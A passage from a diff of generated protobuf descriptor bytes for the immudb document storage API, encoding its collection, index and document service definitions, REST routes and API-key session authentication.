0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, - 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, - 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, - 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, - 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, - 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x76, 0x65, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, + 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, + 0xe6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x76, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, + 0x6d, 0x69, 0x74, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, + 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, + 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, + 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, + 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, 0x0a, + 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, + 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, + 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, + 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, + 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xee, 0x0d, 0x0a, 0x0f, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x8a, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x27, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x85, 0x01, 0x0a, + 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, + 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x12, + 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, + 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x81, 0x01, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, + 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x6f, 0x0a, + 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x1a, 0x06, 0x2f, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x76, + 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x07, 0x0a, + 0x05, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x83, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x23, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x1a, + 0x0a, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, + 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 